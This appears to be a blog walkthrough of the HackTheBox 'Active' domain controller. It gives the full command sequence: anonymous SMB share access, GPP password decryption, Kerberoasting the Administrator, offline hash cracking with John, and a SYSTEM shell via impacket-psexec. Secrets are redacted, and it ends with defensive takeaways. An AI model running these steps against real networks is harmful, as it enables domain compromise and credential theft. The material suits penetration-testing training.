📋 This writeup is part of the Lainkusanagi OSCP Like List — a curated collection of machines recommended for OSCP preparation.

TL;DR

Active is an Easy Windows Domain Controller that demonstrates two classic and still-relevant Active Directory attack techniques. Anonymous SMB access to a replication share exposes a Group Policy Preferences (GPP) XML file containing an encrypted password — decryptable with a publicly known AES key. Those credentials are then used to perform a Kerberoasting attack against the Administrator account, cracking the TGS ticket offline to gain full domain admin access.

Tools used: Nmap · SMBMap · smbclient · gpp-decrypt · Impacket (GetUserSPNs, psexec) · John the Ripper

Introduction

Active is a retired Easy-difficulty Windows machine on HackTheBox. Despite the Easy rating, it covers two techniques that remain highly relevant in real-world Active Directory pentests: GPP credential exposure and Kerberoasting. Understanding both is foundational for any Windows/AD security practitioner, making this machine an excellent early stop on the AD learning path.

Machine: Active OS: Windows Server 2008 R2 SP1 Difficulty: Easy IP: 10.129.51.161

Enumeration

Port Scanning

Starting with a full-port aggressive Nmap scan:

nmap -sCV --min-rate=5000 -p- 10.129.51.161 -oN initialscan.txt -vv

The port signature immediately identifies this as a Domain Controller — Kerberos on 88, DNS on 53, LDAP on 636, and SMB on 445:

53/tcp    open  domain        Microsoft DNS 6.1.7601 (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing

SMB is the most interesting attack surface here — let’s enumerate shares.

SMB Enumeration

smbmap -H 10.129.51.161
Disk            Permissions     Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users NO ACCESS

Most shares are inaccessible — but Replication allows anonymous read access. That's unusual and immediately worth exploring.

Initial Foothold

Digging Through the Replication Share

Connecting anonymously with smbclient:

smbclient //10.129.51.161/Replication

The share mirrors the structure of a SYSVOL replication folder. Browsing through, a promising path appears:

active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/

Inside that directory: Groups.xml.

smb: \...Groups\> get Groups.xml

Decrypting the GPP Password

The Groups.xml file is a Group Policy Preferences configuration file — a mechanism administrators once used to push local account credentials to domain machines. Microsoft embedded the encrypted passwords using AES, but then published the encryption key in their own documentation. Every cpassword field in every GPP XML file across every domain that ever used this feature is trivially decryptable.

The file reveals:

<User name="active.htb\SVC_TGS"
cpassword="[GPP ENCRYPTED PASSWORD]"
userName="active.htb\SVC_TGS"/>

Decrypting with gpp-decrypt:

gpp-decrypt [GPP ENCRYPTED PASSWORD]
[PASSWORD]

Credentials obtained: SVC_TGS : [PASSWORD]

Validating Access and Grabbing the User Flag

With valid domain credentials, we can now access the Users share:

smbclient //10.129.51.161/Users -U 'SVC_TGS%[PASSWORD]'
C:\Users> type SVC_TGS\Desktop\user.txt
[USER FLAG]

Privilege Escalation

Kerberoasting the Administrator

With valid domain credentials, we can request Kerberos service tickets for any account that has a Service Principal Name (SPN) registered. The ticket is encrypted with the service account’s password hash — meaning we can request it and crack it offline, without ever touching a domain controller again.

Using impacket-GetUserSPNs to list and request any available TGS tickets:

impacket-GetUserSPNs active.htb/SVC_TGS:[PASSWORD] \
-dc-ip 10.129.51.161 -request
ServicePrincipalName  Name           MemberOf
-------------------- ------------- --------------------------------------------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*[TGS HASH]

The Administrator account has an SPN registered — and we just received its TGS hash.

Cracking the Hash Offline

Saving the hash to a file and running it through John the Ripper with rockyou.txt:

john admin.hash -w:/usr/share/wordlists/rockyou.txt
[PASSWORD] (?)
1g 0:00:00:03 DONE

Administrator password cracked: [PASSWORD]

Getting a SYSTEM Shell

With full domain admin credentials, impacket-psexec gives us a SYSTEM shell:

impacket-psexec active.htb/administrator@10.129.51.161
Password: [PASSWORD]
[*] Found writable share ADMIN$
[*] Uploading file AWmmWSWy.exe
[*] Creating service qADI on 10.129.51.161...
[*] Starting service qADI...
C:\Windows\system32> whoami
nt authority\system

Grabbing the Root Flag

C:\Users> type Administrator\Desktop\root.txt
[ROOT FLAG]

Key Takeaways

1. GPP credentials are a legacy landmine. Microsoft deprecated GPP password storage in 2014 (MS14–025), but countless environments built before that patch still have Groups.xml files sitting in SYSVOL or replication shares. They’re trivially decryptable and should be actively hunted during any AD assessment.

2. Anonymous SMB access is high-risk. The Replication share being world-readable was the entire entry point for this machine. Shares should be regularly audited — especially any that mirror SYSVOL content.

3. Kerberoasting requires only valid domain credentials. Any authenticated domain user can request TGS tickets for any SPN-registered account. The attack is entirely offline after the ticket is obtained, making it hard to detect. Service accounts — especially highly privileged ones like Administrator — should never be Kerberoastable, and if they are, their passwords must be long and random.

4. The Administrator having an SPN is a critical misconfiguration. Service principals should belong to dedicated service accounts with minimal privileges, not to the domain Administrator. A long, random password would have made the hash uncrackable in practice — but the better fix is removing the SPN entirely.

Thanks for reading! Follow for more HackTheBox writeups covering Active Directory and Windows exploitation techniques.


HackTheBox — Active (Easy Windows / Active Directory) was originally published in System Weakness on Medium, where people are continuing the conversation by highlighting and responding to this story.